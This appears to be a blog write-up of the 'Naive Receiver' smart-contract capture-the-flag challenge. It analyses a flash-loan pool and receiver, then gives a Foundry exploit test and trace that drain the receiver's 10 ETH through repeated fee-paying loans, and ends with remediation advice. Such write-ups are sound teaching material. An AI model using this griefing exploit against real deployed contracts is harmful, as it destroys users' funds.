Challenge Link to heading

There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiving flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)

Analysis Link to heading

The challenge contains two contracts:

  • NaiveReceiverLenderPool – Lending pool.
  • FlashLoanReceiver – User’s contract for receiveing flash loans.

Same as in the previous challenge, NaiveReceiverLenderPool inherits ReentrancyGuard and its flashLoan function has the nonReentrant modifier. So we won’t look for re-entrancy vulnerabilities. It has the receive function, which allows ETH deposits. I guess it is needed to set up the challenge. The fixedFee function is trivial. Let’s have a closer look at the flashLoan:

function flashLoan(address borrower, uint256 borrowAmount)
    external
    nonReentrant
{
    uint256 balanceBefore = address(this).balance;
    if (balanceBefore < borrowAmount) revert NotEnoughETHInPool();
    if (!borrower.isContract()) revert BorrowerMustBeADeployedContract();

    // Transfer ETH and handle control to receiver
    borrower.functionCallWithValue(
        abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE),
        borrowAmount
    );

    if (address(this).balance < balanceBefore + FIXED_FEE)
        revert FlashLoanHasNotBeenPaidBack();
}

It takes the borrower and checks that it is a contract address (not an EOA). You might think it would be better to assume that msg.sender is a borrower, but they’ve decided the make it a parameter for some reason 🤔. Next, it ensures that the pool has enough funds to lend. Then it calls the receiveEther function transferring the borrowAmount and passing the FIXED_FEE constant as an argument. Finally, it checks that the borrowed amount plus the fixed fee has been repaid.

Now, let’s concentrate on the FlashLoanReceiver contract. It keeps a reference to the pool which is set in the constructor:

address payable private pool;

The receiveEther function checks that the sender is a pool. Ensures that the contract has enough Ether to repay the amountToBeRepaid, which is msg.value + fee. Then it executes the _executeActionDuringFlashLoan and returns funds to the poll by calling pool.sendValue(amountToBeRepaid).

function receiveEther(uint256 fee) public payable {
    if (msg.sender != pool) revert SenderMustBePool();

    uint256 amountToBeRepaid = msg.value + fee;

    if (address(this).balance < amountToBeRepaid)
        revert CannotBorrowThatMuch();

    _executeActionDuringFlashLoan();

    // Return funds to pool
    pool.sendValue(amountToBeRepaid);
}

The _executeActionDuringFlashLoan function is empty and has the internal visibility.

Notice that the receiveEther function doesn’t check who initiated the flash loan. It means anyone can request a flash loan on behalf of the FlashLoanReceiver contract to make it pay the fee.

Exploit Link to heading

It turns out we can waste all user’s contract funds on flash loans with high fees in a single transaction. To do that we must force it to receive 10 flash loans in a row paying 1 ETH fee each time:

function testExploit() public {
    /** EXPLOIT START **/
    vm.startPrank(attacker);
    uint256 flashFee = naiveReceiverLenderPool.fixedFee();
    while (true) {
        uint256 flashAmount = address(flashLoanReceiver).balance - flashFee;
        naiveReceiverLenderPool.flashLoan(
            address(flashLoanReceiver),
            flashAmount
        );

        if (address(flashLoanReceiver).balance == 0) break;
    }
    vm.stopPrank();
    /** EXPLOIT END **/
    validation();
}

Here is how the forge’s trace looks like:

$ forge test --match-contract NaiveReceiver -vvvv

Running 1 test for src/test/Levels/naive-receiver/NaiveReceiver.t.sol:NaiveReceiver
[PASS] testExploit() (gas: 187772)
Logs:
  🧨 PREPARED TO BREAK THINGS 🧨

Traces:
  [187772] NaiveReceiver::testExploit()
    ├─ [0] VM::startPrank(Attacker: [...])
    │   └─ ← ()
    ├─ [146] Pool::fixedFee() [staticcall]
    │   └─ ← 1000000000000000000
    ├─ [20314] Pool::flashLoan(Receiver: [...], 9000000000000000000)
    │   ├─ [9598] Receiver::receiveEther{value: 9000000000000000000}(1000000000000000000)
    │   │   ├─ [55] Pool::fallback{value: 10000000000000000000}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [16314] Pool::flashLoan(Receiver: [...], 8000000000000000000)
    │   ├─ [7598] Receiver::receiveEther{value: 8000000000000000000}(1000000000000000000)
    │   │   ├─ [55] Pool::fallback{value: 9000000000000000000}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [16314] Pool::flashLoan(Receiver: [...], 7000000000000000000)
    │   ├─ [7598] Receiver::receiveEther{value: 7000000000000000000}(1000000000000000000)
    │   │   ├─ [55] Pool::fallback{value: 8000000000000000000}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [16314] Pool::flashLoan(Receiver: [...], 6000000000000000000)
    │   ├─ [7598] Receiver::receiveEther{value: 6000000000000000000}(1000000000000000000)
    │   │   ├─ [55] Pool::fallback{value: 7000000000000000000}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [16314] Pool::flashLoan(Receiver: [...], 5000000000000000000)
    │   ├─ [7598] Receiver::receiveEther{value: 5000000000000000000}(1000000000000000000)
    │   │   ├─ [55] Pool::fallback{value: 6000000000000000000}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [16314] Pool::flashLoan(Receiver: [...], 4000000000000000000)
    │   ├─ [7598] Receiver::receiveEther{value: 4000000000000000000}(1000000000000000000)
    │   │   ├─ [55] Pool::fallback{value: 5000000000000000000}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [16314] Pool::flashLoan(Receiver: [...], 3000000000000000000)
    │   ├─ [7598] Receiver::receiveEther{value: 3000000000000000000}(1000000000000000000)
    │   │   ├─ [55] Pool::fallback{value: 4000000000000000000}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [16314] Pool::flashLoan(Receiver: [...], 2000000000000000000)
    │   ├─ [7598] Receiver::receiveEther{value: 2000000000000000000}(1000000000000000000)
    │   │   ├─ [55] Pool::fallback{value: 3000000000000000000}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [16314] Pool::flashLoan(Receiver: [...], 1000000000000000000)
    │   ├─ [7598] Receiver::receiveEther{value: 1000000000000000000}(1000000000000000000)
    │   │   ├─ [55] Pool::fallback{value: 2000000000000000000}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [9932] Pool::flashLoan(Receiver: [...], 0)
    │   ├─ [7598] Receiver::receiveEther(1000000000000000000)
    │   │   ├─ [55] Pool::fallback{value: 1000000000000000000}()
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Remediation Link to heading

  • In the NaiveReceiverLenderPool’s flashLoan function assume that msg.sender is the borrower.
  • Add authentication to the FlashLoanReceiver contract.

Notes & References Link to heading

The isContract and sendValue functions come from the OpenZeppelin’s Address library.

For example, the sendValue is implemented like this:

function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");

    (bool success, ) = recipient.call{value: amount}("");
    require(success, "Address: unable to send value, recipient may have reverted");
}

Thank you for reading! The complete code is here. Let’s move on to the next challenge – #3 Truster.